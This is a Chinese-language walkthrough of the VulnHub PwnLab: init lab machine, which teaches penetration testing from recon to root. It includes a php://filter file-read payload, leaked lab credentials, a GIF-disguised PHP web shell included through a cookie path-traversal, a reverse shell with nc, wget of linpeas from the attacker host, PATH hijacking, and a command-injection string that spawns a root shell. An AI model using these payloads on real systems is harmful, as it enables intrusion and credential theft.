准备工作
靶机基本信息
靶机名称:
PwnLab Init
操作系统:Linux
虚拟机软件:VirtualBox
网络连接方式:桥接至物理网络
渗透测试目标:获取靶机root
权限和Flag文件下载地址:1. PwnLab: init ~ VulnHub(VBox版)
环境配置
将下载的虚拟机压缩包文件解压之后,打开VMware Workstation,点击主页上的File
=> Open
按钮,在弹出的窗口中选中PwnLab_Init.ovf
文件即可。
信息收集
IP地址发现
在Kali Linux中,使用netdiscover
工具探测靶机IP地址:
shell
netdiscover -r 192.168.2.0/24
由此得知,靶机的IP信息如下:
IP地址:
192.168.2.123
MAC地址:00:0c:29:31:98:82
防火墙探测
得知靶机的IP地址之后,我们首先对其进行防火墙策略探测。首先需要测试攻击机和靶机之间的网络连通性:
ICMP探测
执行Ping命令测试连通性:
bash
┌──(root㉿attacker)-[/home/hacker]
└─# ping -c 4 192.168.2.123
PING 192.168.2.123 (192.168.2.123) 56(84) bytes of data.
64 bytes from 192.168.2.123: icmp_seq=1 ttl=64 time=0.825 ms
64 bytes from 192.168.2.123: icmp_seq=2 ttl=64 time=0.904 ms
64 bytes from 192.168.2.123: icmp_seq=3 ttl=64 time=0.825 ms
64 bytes from 192.168.2.123: icmp_seq=4 ttl=64 time=0.624 ms
--- 192.168.2.123 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3020ms
rtt min/avg/max/mdev = 0.624/0.794/0.904/0.103 ms
发现攻击机与靶机之间连通性良好。
Nmap ACK探测
接下来使用Nmap进行ACK
扫描,确定开放端口:
sh
nmap -sA -p- 192.168.2.123
可以看到使用ACK
扫描无结果,直接进行网络服务扫描。
网络服务扫描
我们使用Nmap
对靶机进行TCP
半开扫描、网络服务和操作系统探测:
shell
# -sS TCP半开扫描
# -sV 网络服务版本扫描
# -A 操作系统探测
# -p- 全端口扫描
nmap -sS -sV -A -p- -oN ./tcp_result.txt 192.168.2.123
可以看到靶机开放了4
个端口:
端口 | 传输层协议 | 应用层协议 | 详细信息 |
---|---|---|---|
80 | TCP | HTTP | Apache httpd 2.4.10 ((Debian)) |
111 | TCP | RPC | rpcbind 2-4 (RPC #100000) |
3306 | TCP | MySQL | MySQL 5.5.47-0+deb8u1 |
38346 | TCP | 未知 | 未知 |
同时看到靶机操作系统为Debian Linux
,内核版本为Linux 3.2 - 4.9
。
服务探测(Web应用程序)
这里判断除了80
端口的Web应用,其它网络服务没有探测的价值。
浏览主页
使用浏览器打开网址:http://192.168.2.123
发现主页上只有三个链接,一个指向主页本身,一个指向登录页面,最后一个指向文件上传页面。
查看主页源代码:
html
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
Use this server to upload and share image files inside the intranet</center>
</body>
</html>
发现三个链接都是?page=
的格式,怀疑此处存在文件包含漏洞。
推测主页代码逻辑如下:
php
<?php
$page = $_GET['page'];
if (isset($page) && !empty($page)){
include($page.".php");
} else {
die("");
}
?>
我们点击Login
超链接来查看登录功能点:
随手测试了一下SQL
注入(在参数最后添加'
或"
),发现登录页不存在SQL
注入点。
点击Upload
超链接来查看上传功能点:
发现上传文件必须登录。使用BurpSuite
截包确定路由,发现大概率不存在登录绕过漏洞:
Web应用扫描
接下来我们使用dirsearch
工具进行目录扫描:
shell
# -u 指定URL
# -x 排除指定响应码
dirsearch -u http://192.168.2.123/ -x 403,404
发现如下目录和文件:
/images
=> 网站图片目录/upload
=> 上传文件存放目录config.php
=> 网站配置文件login.php
=> 网站登录页面upload.php
=> 网站文件上传页面
这更加证实了前面的推测。我于是尝试将page
参数内容改为config
,果然:
Text
┌──(root㉿attacker)-[/home/hacker]
└─# curl http://192.168.2.123/?page=config
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
</center>
</body>
</html>
Nikto漏洞扫描
使用Nikto
工具进行安全基线扫描:
sh
nikto -h 192.168.2.123
没有发现有价值的信息。
渗透测试
PHP伪协议读取代码
伪协议:PHP 带有很多内置 URL 风格的封装协议 ,可用于类似fopen() 、copy() 、file_exists() 和filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
一条带伪协议的URL
示例:http://localhost/include.php?page=php://input
前面已经确定主页PHP程序使用了文件包含 ,而且后面多半有.php
后缀拼接到字符串中 。既然如此,我们尝试利用PHP伪协议 来读取网页代码。使用php://filter
可以将文件内容编码后输出到页面上:
Text
php://filter/read=convert.base64-encode/resource=config
这样经过后台的字符串拼接,就变成了:
Text
php://filter/read=convert.base64-encode/resource=config.php
如果成功,config.php
的内容将会被编码为Base64
之后输出到页面上。
成功拿到数据库登录信息:
- 用户名:
root
- 密码:
H4u%QJ_H99
- 数据库:
Users
使用DBeaver
数据库工具执行SQL:
sql
SELECT * FROM Users.users;
将pass
一栏进行Base64
解密之后 ,得到3
个登录凭据:
- 用户名:
kent
,密码:JWzXuBJJNy
- 用户名:
mike
,密码:SIfdsTEn6I
- 用户名:
kane
,密码:iSv5Ym2GRo
4个PHP程序的源代码:
index.php
php+HTML
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>
config.php
php+HTML
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
upload.php
php+HTML
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
?>
login.php
php+HTML
<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);
if (isset($_POST['user']) and isset($_POST['pass']))
{
$luser = $_POST['user'];
$lpass = base64_encode($_POST['pass']);
$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
$stmt->bind_param('ss', $luser, $lpass);
$stmt->execute();
$stmt->store_Result();
if ($stmt->num_rows == 1)
{
$_SESSION['user'] = $luser;
header('Location: ?page=upload');
}
else
{
echo "Login failed.";
}
}
else
{
?>
<form action="" method="POST">
<label>Username: </label><input id="user" type="test" name="user"><br />
<label>Password: </label><input id="pass" type="password" name="pass"><br />
<input type="submit" name="submit" value="Login">
</form>
<?php
}
通过代码审计,发现upload.php
未对上传图片进行渲染便将其写入了磁盘,导致我们可以在图片尾部追加PHP木马内容;index.php
通过Cookie中的lang
参数来获取包含的文件名,虽然在前面拼接了lang/
路径,但可以通过../
符号返回上级目录进行绕过,已经造成了任意文件包含漏洞。
我们任意选择一个文本文件上传,随后拦截HTTP报文,将文件名改为test.gif
,Content-type
改为image/gif
,将文件内容替换为GIF89;+换行+PHP代码
的格式即可,如图:
然后通过BurpSuite访问index.php
,在Cookie中添加lang
参数,值为上图返回的文件相对路径(路径前加../
,注意文件保存路径为网站根目录下的./upload
文件夹),即可包含木马:
我们将phpinfo()
换成反弹Shell的脚本:php-reverse-shell.php
然后直接按前面的方法包含:lang=../upload/3208fd203ca8fdfa13bc98a4832c1396.gif
注:请将脚本中
$ip
和$port
两个变量的内容改为自己的IP地址和端口号。
(使用rlwrap nc -lvnp 15000
在本地开启监听)
权限提升
本地信息收集
进入靶机之后,我们使用LinPeas
工具对其操作系统进行信息收集:
(使用python -m http.server
命令在攻击机8000
号端口启动简易网页服务器)
shell
wget http://192.168.2.50:8000/linpeas.sh
chmod 777 ./linpeas.sh
./linpeas.sh
系统基本信息
内核漏洞信息
系统进程列表
家目录
系统用户列表
计划任务信息
特殊权限文件
分析可疑程序
没有什么有用的信息。这时候想起了前面获取的Web用户密码信息,于是准备尝试切换到kane
用户:
Text
www-data@pwnlab:/$ su kane
su kane
Password: **********
kane@pwnlab:/$
切换到kane
用户之后重新执行LinPeas
工具,在该用户家目录下发现敏感文件msgmike
:
尝试查看该文件的类型:
Text
kane@pwnlab:~$ file ./msgmike file ./msgmike
file ./msgmike
./msgmike: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7e0b21f33b2134bd17467c3bb9be37deb88b365, not stripped
看来是个可执行程序,而且通过setuid()
和setgid()
函数切换了用户环境。尝试执行:
Text
kane@pwnlab:~$ ./msgmike ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory
看来程序似乎想通过命令执行来读取mike
用户家目录下的msg.txt
文件 ,但cat
命令好像出了问题。
我们使用strings
命令查看程序中可打印的字符串:
结果确实是执行了cat
命令读取文件。
既然如此,那我们就通过修改环境变量劫持命令 的方法来获取mike
的权限。首先将文本内容/bin/bash
添加到一个名为cat
的文件中,随后在环境变量最前面添加/tmp
路径。 这样该程序执行的实际就是bash
命令。
shell
echo "/bin/bash" > ./cat
chmod 777 ./cat
export PATH=/home/kane:$PATH
./msgmike
接下来再次进入mike
用户家目录查看:
shell
cd /home/mike
ls -lA
发现可疑文件msg2root
,查看文件类型:
Text
mike@pwnlab:/home/mike$ file ./msg2root file ./msg2root
file ./msg2root
./msg2root: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=60bf769f8fbbfd406c047f698b55d2668fae14d3, not stripped
看来又是一个后门程序,尝试执行,发现该程序要求我们输入字符串,然后将字符串打印到终端上。
尝试使用strings
查看该程序可打印的字符串:
shell
strings ./msg2root
发现该程序使用system()
函数执行了echo
命令,并通过Linux重定向符号将打印的文本写入/root/messages.txt
文件中,关键在于echo
命令的参数可以由我们控制 ,这样一来就造成了命令执行漏洞。
执行该程序,输入字符串aaa && python -c "import os;import pty;os.setuid(0);os.setgid(0);pty.spawn('/bin/bash')";
,这样命令就成了:
Text
/bin/echo aaa && python -c "import os;import pty;os.setuid(0);os.setgid(0);pty.spawn('/bin/bash')"; >> /root/messages.txt
直接提权到root
用户:
成功!!!!
Flag文件展示
文件名:
flag.txt
文件大小:1.8 KB
MD5:3fdd261bca1302963f411b2985d9f917
SHA256:3be92d0af929763d8fa562eec0deea0020d5ed45776efe110f1c01cc5cd2e1fb
文件内容截图